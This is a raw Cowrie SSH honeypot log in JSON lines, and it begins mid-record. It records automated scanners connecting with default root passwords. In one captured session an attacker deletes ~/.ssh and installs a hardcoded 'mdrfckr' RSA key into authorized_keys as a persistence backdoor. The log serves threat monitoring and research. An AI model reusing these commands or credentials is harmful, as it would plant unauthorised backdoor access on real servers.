angCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:02.417495Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"wdlinux","message":"login attempt [root/wdlinux] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:03.479738Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":63352,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ab109b47831","protocol":"ssh","message":"New connection: 103.249.200.230:63352 (10.17.0.5:22) [session: 5ab109b47831]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:03.598953Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.040725Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.044119Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.047809Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.212269Z","src_ip":"103.249.200.230","session":"5ab109b47831","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.308833Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.429775Z","src_ip":"103.249.200.230","session":"5ab109b47831","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.435906Z","src_ip":"103.249.200.230","session":"5ab109b47831","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.861602Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:04.864766Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:05.127230Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:05.132239Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.162.54.10","src_port":42578,"dst_ip":"159.203.135.109","dst_port":22,"session":"54dc098bd479","protocol":"ssh","message":"New connection: 103.162.54.10:42578 (159.203.135.109:22) [session: 54dc098bd479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:05.381858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:05.386173Z","src_ip":"103.162.54.10","session":"54dc098bd479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:05.642403Z","src_ip":"103.162.54.10","session":"54dc098bd479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:06.700267Z","src_ip":"103.162.54.10","session":"54dc098bd479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":64006,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dcedab63bfd","protocol":"ssh","message":"New connection: 103.249.200.230:64006 (10.17.0.5:22) [session: 4dcedab63bfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:07.317586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:07.536288Z","src_ip":"103.249.200.230","session":"4dcedab63bfd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:07.749548Z","src_ip":"103.249.200.230","session":"4dcedab63bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:07.754989Z","src_ip":"103.249.200.230","session":"4dcedab63bfd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:07.958634Z","src_ip":"103.162.54.10","session":"54dc098bd479","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.162.54.10","src_port":42582,"dst_ip":"159.203.135.109","dst_port":22,"session":"23c025b48111","protocol":"ssh","message":"New connection: 103.162.54.10:42582 (159.203.135.109:22) [session: 23c025b48111]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:08.212381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:08.216779Z","src_ip":"103.162.54.10","session":"23c025b48111","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:08.473608Z","src_ip":"103.162.54.10","session":"23c025b48111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":64306,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc9586af1be4","protocol":"ssh","message":"New connection: 103.249.200.230:64306 (10.17.0.5:22) [session: dc9586af1be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:08.758760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:08.987396Z","src_ip":"103.249.200.230","session":"dc9586af1be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:09.205196Z","src_ip":"103.249.200.230","session":"dc9586af1be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:09.210379Z","src_ip":"103.249.200.230","session":"dc9586af1be4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:09.534066Z","src_ip":"103.162.54.10","session":"23c025b48111","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.6","message":"Connection lost after 7.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:09.795030Z","src_ip":"103.162.54.10","session":"ea034b46fabe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:09.800244Z","src_ip":"103.162.54.10","session":"23c025b48111","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":64651,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed03a2fab524","protocol":"ssh","message":"New connection: 103.249.200.230:64651 (10.17.0.5:22) [session: ed03a2fab524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:10.326031Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:10.564415Z","src_ip":"103.249.200.230","session":"ed03a2fab524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:10.790623Z","src_ip":"103.249.200.230","session":"ed03a2fab524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:10.795493Z","src_ip":"103.249.200.230","session":"ed03a2fab524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":64938,"dst_ip":"10.17.0.5","dst_port":22,"session":"16fb91103e6d","protocol":"ssh","message":"New connection: 103.249.200.230:64938 (10.17.0.5:22) [session: 16fb91103e6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:12.159437Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:12.411197Z","src_ip":"103.249.200.230","session":"16fb91103e6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:12.629721Z","src_ip":"103.249.200.230","session":"16fb91103e6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:12.635520Z","src_ip":"103.249.200.230","session":"16fb91103e6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":65176,"dst_ip":"10.17.0.5","dst_port":22,"session":"33c77e8f7f57","protocol":"ssh","message":"New connection: 103.249.200.230:65176 (10.17.0.5:22) [session: 33c77e8f7f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:13.461371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:13.706095Z","src_ip":"103.249.200.230","session":"33c77e8f7f57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:13.926896Z","src_ip":"103.249.200.230","session":"33c77e8f7f57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:13.932539Z","src_ip":"103.249.200.230","session":"33c77e8f7f57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":49184,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a41d4cb9ac5","protocol":"ssh","message":"New connection: 103.249.200.230:49184 (10.17.0.5:22) [session: 9a41d4cb9ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:15.959067Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:16.536048Z","src_ip":"103.249.200.230","session":"9a41d4cb9ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:16.755353Z","src_ip":"103.249.200.230","session":"9a41d4cb9ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:16.760897Z","src_ip":"103.249.200.230","session":"9a41d4cb9ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":49572,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dfa3f4595e5","protocol":"ssh","message":"New connection: 103.249.200.230:49572 (10.17.0.5:22) [session: 7dfa3f4595e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:17.704493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:19.495624Z","src_ip":"103.249.200.230","session":"7dfa3f4595e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:19.713821Z","src_ip":"103.249.200.230","session":"7dfa3f4595e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:19.718731Z","src_ip":"103.249.200.230","session":"7dfa3f4595e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":50094,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec578aee6e35","protocol":"ssh","message":"New connection: 103.249.200.230:50094 (10.17.0.5:22) [session: ec578aee6e35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:20.691156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:20.951120Z","src_ip":"103.249.200.230","session":"ec578aee6e35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:21.170449Z","src_ip":"103.249.200.230","session":"ec578aee6e35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:21.177031Z","src_ip":"103.249.200.230","session":"ec578aee6e35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.249.200.230","src_port":50424,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c74a9ee562e","protocol":"ssh","message":"New connection: 103.249.200.230:50424 (10.17.0.5:22) [session: 8c74a9ee562e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:48:22.272296Z"}
